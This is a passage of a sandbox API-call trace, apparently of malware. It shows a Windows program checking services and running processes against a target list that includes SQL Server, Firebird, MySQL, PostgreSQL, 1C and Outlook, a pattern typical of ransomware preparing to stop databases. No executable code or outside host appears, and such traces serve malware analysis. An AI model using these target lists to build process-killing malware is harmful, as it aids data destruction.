lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0074.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0074.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0074.298] lstrlenW (lpString="AudioSrv") returned 8 [0074.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0074.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0074.298] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0074.298] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0074.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0074.298] lstrlenW (lpString="BFE") returned 3 [0074.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0074.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0074.298] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0074.298] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0074.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0074.298] lstrlenW (lpString="CryptSvc") returned 8 [0074.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0074.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0074.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0074.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0074.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0074.298] lstrlenW (lpString="CscService") returned 10 [0074.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0074.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0074.298] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0074.298] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0074.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0074.299] lstrlenW (lpString="DcomLaunch") returned 10 [0074.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.299] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0074.299] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0074.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0074.299] lstrlenW (lpString="Dhcp") returned 4 [0074.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0074.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0074.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0074.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0074.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0074.299] lstrlenW (lpString="Dnscache") returned 8 [0074.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0074.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0074.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0074.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0074.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0074.300] lstrlenW (lpString="DPS") returned 3 [0074.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0074.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0074.300] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0074.300] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0074.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0074.300] lstrlenW (lpString="eventlog") returned 8 [0074.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0074.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0074.300] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0074.300] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0074.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0074.300] lstrlenW (lpString="EventSystem") returned 11 [0074.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0074.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0074.300] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0074.300] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0074.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0074.300] lstrlenW (lpString="gpsvc") returned 5 [0074.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0074.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0074.300] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0074.300] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0074.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0074.300] lstrlenW (lpString="iphlpsvc") returned 8 [0074.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.301] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0074.301] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0074.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0074.301] lstrlenW (lpString="LanmanServer") returned 12 [0074.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0074.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0074.301] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0074.301] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0074.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0074.301] lstrlenW (lpString="LanmanWorkstation") returned 17 [0074.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.301] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0074.301] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0074.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0074.301] lstrlenW (lpString="lmhosts") returned 7 [0074.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0074.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0074.301] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0074.301] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0074.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0074.301] lstrlenW (lpString="MMCSS") returned 5 [0074.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0074.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0074.301] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0074.301] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0074.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0074.301] lstrlenW (lpString="MpsSvc") returned 6 [0074.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0074.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0074.302] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0074.302] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0074.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0074.302] lstrlenW (lpString="Netman") returned 6 [0074.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0074.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0074.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0074.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0074.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0074.302] lstrlenW (lpString="netprofm") returned 8 [0074.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0074.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0074.302] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0074.302] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0074.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0074.302] lstrlenW (lpString="NlaSvc") returned 6 [0074.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0074.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0074.302] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0074.302] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0074.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0074.302] lstrlenW (lpString="nsi") returned 3 [0074.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0074.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0074.302] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0074.302] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0074.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0074.302] lstrlenW (lpString="PcaSvc") returned 6 [0074.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0074.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0074.303] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0074.303] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0074.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0074.303] lstrlenW (lpString="PlugPlay") returned 8 [0074.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0074.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0074.303] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0074.303] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0074.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0074.303] lstrlenW (lpString="Power") returned 5 [0074.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0074.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0074.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0074.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0074.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0074.303] lstrlenW (lpString="ProfSvc") returned 7 [0074.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0074.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0074.303] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0074.303] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0074.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0074.303] lstrlenW (lpString="RpcEptMapper") returned 12 [0074.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.303] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0074.303] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0074.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0074.304] lstrlenW (lpString="RpcSs") returned 5 [0074.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0074.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0074.304] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0074.304] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0074.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0074.304] lstrlenW (lpString="SamSs") returned 5 [0074.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0074.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0074.304] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0074.304] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0074.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0074.304] lstrlenW (lpString="Schedule") returned 8 [0074.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0074.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0074.304] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0074.304] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0074.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0074.304] lstrlenW (lpString="SENS") returned 4 [0074.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0074.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0074.304] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0074.304] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0074.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0074.304] lstrlenW (lpString="ShellHWDetection") returned 16 [0074.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0074.304] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0074.304] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0074.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0074.305] lstrlenW (lpString="Spooler") returned 7 [0074.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0074.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0074.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0074.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0074.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0074.305] lstrlenW (lpString="swprv") returned 5 [0074.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0074.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0074.305] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0074.305] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0074.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0074.305] lstrlenW (lpString="SysMain") returned 7 [0074.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0074.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0074.305] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0074.305] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0074.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0074.305] lstrlenW (lpString="Themes") returned 6 [0074.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0074.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0074.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0074.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0074.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0074.305] lstrlenW (lpString="TrkWks") returned 6 [0074.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0074.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0074.305] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0074.306] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0074.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0074.306] lstrlenW (lpString="UxSms") returned 5 [0074.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0074.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0074.306] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0074.306] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0074.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0074.306] lstrlenW (lpString="VSS") returned 3 [0074.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0074.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0074.306] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0074.306] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0074.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0074.306] lstrlenW (lpString="WdiServiceHost") returned 14 [0074.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0074.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0074.306] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0074.306] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0074.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0074.306] lstrlenW (lpString="WdiSystemHost") returned 13 [0074.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0074.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0074.306] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0074.306] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0074.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0074.306] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0074.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0074.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0074.307] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0074.307] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0074.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0074.307] lstrlenW (lpString="Winmgmt") returned 7 [0074.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0074.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0074.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0074.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0074.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0074.307] lstrlenW (lpString="WPDBusEnum") returned 10 [0074.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0074.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0074.307] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0074.307] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0074.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0074.307] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0074.307] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0074.311] Process32FirstW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.311] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.311] lstrlenW (lpString="System") returned 6 [0074.311] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0074.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0074.312] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.312] lstrlenW (lpString="smss.exe") returned 8 [0074.312] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0074.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0074.312] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.313] lstrlenW (lpString="csrss.exe") returned 9 [0074.313] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0074.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0074.313] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0074.313] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0074.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0074.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0074.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0074.313] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.313] lstrlenW (lpString="wininit.exe") returned 11 [0074.313] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0074.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0074.313] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0074.314] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.314] lstrlenW (lpString="csrss.exe") returned 9 [0074.314] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.314] lstrlenW (lpString="winlogon.exe") returned 12 [0074.315] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.315] lstrlenW (lpString="services.exe") returned 12 [0074.315] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.315] lstrlenW (lpString="lsass.exe") returned 9 [0074.315] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.316] lstrlenW (lpString="lsm.exe") returned 7 [0074.316] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.316] lstrlenW (lpString="svchost.exe") returned 11 [0074.316] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, 